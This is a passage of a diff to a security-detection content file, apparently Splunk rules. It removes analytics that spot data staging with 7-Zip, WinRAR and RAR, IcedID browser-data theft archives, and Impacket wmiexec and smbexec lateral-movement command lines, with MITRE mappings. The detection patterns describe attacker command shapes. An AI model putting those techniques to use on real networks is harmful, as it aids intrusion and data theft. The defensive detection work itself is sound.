analytic detects the execution of 7z or 7za processes with command lines pointing to SMB network shares. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant as it may indicate an attempt to archive and exfiltrate sensitive files to a network share, a technique observed in CONTI LEAK tools. If confirmed malicious, this behavior could lead to data exfiltration, compromising sensitive information and potentially aiding further attacks.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name =\"7z.exe\" OR Processes.process_name = \"7za.exe\" OR Processes.original_file_name = \"7z.exe\" OR Processes.original_file_name = \"7za.exe\") AND (Processes.process=\"*\\\\C$\\\\*\" OR Processes.process=\"*\\\\Admin$\\\\*\" OR Processes.process=\"*\\\\IPC$\\\\*\") by Processes.original_file_name Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.parent_process_id Processes.process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `7zip_commandline_to_smb_share_path_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "archive process $process_name$ with suspicious cmdline $process$ in host $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560.001", - "mitre_attack_technique": "Archive via Utility", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT33", - "APT39", - "APT41", - "APT5", - "Akira", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "CopyKittens", - "Earth Lusca", - "FIN13", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gallmaker", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Sowbug", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "Anomalous usage of 7zip", - "description": "The following analytic detects the execution of 7z.exe, a 7-Zip utility, spawned from rundll32.exe or dllhost.exe. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process names and parent processes. This activity is significant as it may indicate an adversary attempting to use 7-Zip for data exfiltration, often by renaming the executable to evade detection. If confirmed malicious, this could lead to unauthorized data archiving and exfiltration, compromising sensitive information and potentially leading to further system exploitation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"rundll32.exe\", \"dllhost.exe\") Processes.process_name=*7z* by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `anomalous_usage_of_7zip_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "NOBELIUM Group" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$. This behavior is indicative of suspicious loading of 7zip.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560.001", - "mitre_attack_technique": "Archive via Utility", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT33", - "APT39", - "APT41", - "APT5", - "Akira", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "CopyKittens", - "Earth Lusca", - "FIN13", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gallmaker", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Sowbug", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Renamed 7-Zip", - "description": "The following analytic detects the usage of a renamed 7-Zip executable using Sysmon data. It leverages the OriginalFileName field to identify instances where the 7-Zip process has been renamed. This activity is significant as attackers often rename legitimate tools to evade detection while staging or exfiltrating data. If confirmed malicious, this behavior could indicate data exfiltration attempts or other unauthorized data manipulation, potentially leading to significant data breaches or loss of sensitive information. Analysts should validate the legitimacy of the 7-Zip executable and investigate parallel processes for further suspicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.original_file_name=7z*.exe AND Processes.process_name!=7z*.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_renamed_7_zip_filter`", - "tags": { - "analytic_story": [ - "Collection and Staging" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following $process_name$ has been identified as renamed, spawning from $parent_process_name$ on $dest$ by $user$.", - "risk_score": 27, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560.001", - "mitre_attack_technique": "Archive via Utility", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT33", - "APT39", - "APT41", - "APT5", - "Akira", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "CopyKittens", - "Earth Lusca", - "FIN13", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gallmaker", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Sowbug", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Renamed WinRAR", - "description": "The following analytic identifies instances where `WinRAR.exe` has been renamed and executed. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and original file names within the Endpoint data model. This activity is significant because renaming executables is a common tactic used by attackers to evade detection. If confirmed malicious, this could indicate an attempt to bypass security controls, potentially leading to unauthorized data extraction or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.original_file_name=WinRAR.exe (Processes.process_name!=rar.exe OR Processes.process_name!=winrar.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_renamed_winrar_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-277A", - "Collection and Staging" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following $process_name$ has been identified as renamed, spawning from $parent_process_name$ on $dest$ by $user$.", - "risk_score": 27, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560.001", - "mitre_attack_technique": "Archive via Utility", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT33", - "APT39", - "APT41", - "APT5", - "Akira", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "CopyKittens", - "Earth Lusca", - "FIN13", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gallmaker", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Sowbug", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "IcedID Exfiltrated Archived File Creation", - "description": "The following analytic detects the creation of suspicious files named passff.tar and cookie.tar, which are indicative of archived stolen browser information such as history and cookies on a machine compromised with IcedID. It leverages Sysmon EventCode 11 to identify these specific filenames. This activity is significant because it suggests that sensitive browser data has been exfiltrated, which could lead to further exploitation or data breaches. If confirmed malicious, this could allow attackers to access personal information, conduct further phishing attacks, or escalate their presence within the network.", - "search": "`sysmon` EventCode= 11 (TargetFilename = \"*\\\\passff.tar\" OR TargetFilename = \"*\\\\cookie.tar\") |stats count min(_time) as firstTime max(_time) as lastTime by TargetFilename EventCode process_id process_name dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `icedid_exfiltrated_archived_file_creation_filter`", - "tags": { - "analytic_story": [ - "IcedID" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "Process $process_name$ create a file $TargetFilename$ on host $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560.001", - "mitre_attack_technique": "Archive via Utility", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT33", - "APT39", - "APT41", - "APT5", - "Akira", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "CopyKittens", - "Earth Lusca", - "FIN13", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gallmaker", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Sowbug", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Archive Collected Data via Rar", - "description": "The following analytic identifies the execution of RAR utilities to archive files on a system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, GUIDs, and command-line arguments. This activity is significant as threat actors, including red-teamers and malware like DarkGate, use RAR archiving to compress and exfiltrate collected data from compromised hosts. If confirmed malicious, this behavior could lead to the unauthorized transfer of sensitive information to command and control servers, posing a severe risk to data confidentiality and integrity.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"Rar.exe\" OR Processes.original_file_name = \"Rar.exe\" AND Processes.process = \"*a*\" Processes.process = \"* -ep1*\" Processes.process = \"* -r*\" Processes.process = \"* -y*\" Processes.process = \"* -v5m*\" Processes.process = \"* -m1*\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_archive_collected_data_via_rar_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a Rar.exe commandline used in archiving collected data in $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560.001", - "mitre_attack_technique": "Archive via Utility", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT33", - "APT39", - "APT41", - "APT5", - "Akira", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "CopyKittens", - "Earth Lusca", - "FIN13", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gallmaker", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Sowbug", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } } ], "external_reference": [ @@ -99706,1871 +96610,7 @@ "Event ID": null, "Event Name": "Netflow/Enclave netflow" } - ], - { - "name": "Impacket Lateral Movement Commandline Parameters", - "description": "The following analytic identifies the use of suspicious command-line parameters associated with Impacket tools, such as `wmiexec.py`, `smbexec.py`, `dcomexec.py`, and `atexec.py`, which are used for lateral movement and remote code execution. It detects these activities by analyzing process execution logs from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns. This activity is significant because Impacket tools are commonly used by adversaries and Red Teams to move laterally within a network. If confirmed malicious, this could allow attackers to execute commands remotely, potentially leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=cmd.exe (Processes.process = \"*/Q /c * \\\\\\\\127.0.0.1\\\\*$*\" AND Processes.process IN (\"*2>&1*\",\"*2>&1*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `impacket_lateral_movement_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command line parameters on $dest$ may represent a lateral movement attack with Impackets tools", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Impacket Lateral Movement smbexec CommandLine Parameters", - "description": "The following analytic identifies suspicious command-line parameters associated with the use of Impacket's smbexec.py for lateral movement. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns indicative of Impacket tool usage. This activity is significant as both Red Teams and adversaries use Impacket for remote code execution and lateral movement. If confirmed malicious, this activity could allow attackers to execute commands on remote endpoints, potentially leading to unauthorized access, data exfiltration, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=cmd.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | where match(process, \"(?i)cmd\\.exe\\s+\\/Q\\s+\\/c\") AND match(process,\"(?i)echo\\s+cd\") AND match(process, \"(?i)\\\\__output\") AND match(process, \"(?i)C:\\\\\\\\Windows\\\\\\\\[a-zA-Z]{1,8}\\\\.bat\") AND match(process, \"\\\\\\\\127\\.0\\.0\\.1\\\\.*\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `impacket_lateral_movement_smbexec_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command-line parameters on $dest$ may represent lateral movement using smbexec.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Impacket Lateral Movement WMIExec Commandline Parameters", - "description": "The following analytic detects the use of Impacket's `wmiexec.py` tool for lateral movement by identifying specific command-line parameters. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes spawned by `wmiprvse.exe` with command-line patterns indicative of Impacket usage. This activity is significant as Impacket tools are commonly used by adversaries for remote code execution and lateral movement within a network. If confirmed malicious, this could allow attackers to execute arbitrary commands on remote systems, potentially leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=wmiprvse.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | where match(process, \"(?i)cmd\\.exe\\s+\\/Q\\s+\\/c\") AND match(process, \"\\\\\\\\127\\.0\\.0\\.1\\\\.*\") AND match(process, \"__\\\\d{1,10}\\\\.\\\\d{1,10}\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `impacket_lateral_movement_wmiexec_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command-line parameters on $dest$ may represent lateral movement using wmiexec.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Possible Lateral Movement PowerShell Spawn", - "description": "The following analytic detects the spawning of a PowerShell process as a child or grandchild of commonly abused processes like services.exe, wmiprsve.exe, svchost.exe, wsmprovhost.exe, and mmc.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names, as well as command-line executions. This activity is significant as it often indicates lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this behavior could allow attackers to execute code remotely, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=wmiprvse.exe OR Processes.parent_process_name=services.exe OR Processes.parent_process_name=svchost.exe OR Processes.parent_process_name=wsmprovhost.exe OR Processes.parent_process_name=mmc.exe) (Processes.process_name=powershell.exe OR (Processes.process_name=cmd.exe AND Processes.process=*powershell.exe*) OR Processes.process_name=pwsh.exe OR (Processes.process_name=cmd.exe AND Processes.process=*pwsh.exe*)) NOT (Processes.process IN (\"*c:\\windows\\ccm\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `possible_lateral_movement_powershell_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell process was spawned as a child process of typically abused processes on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - 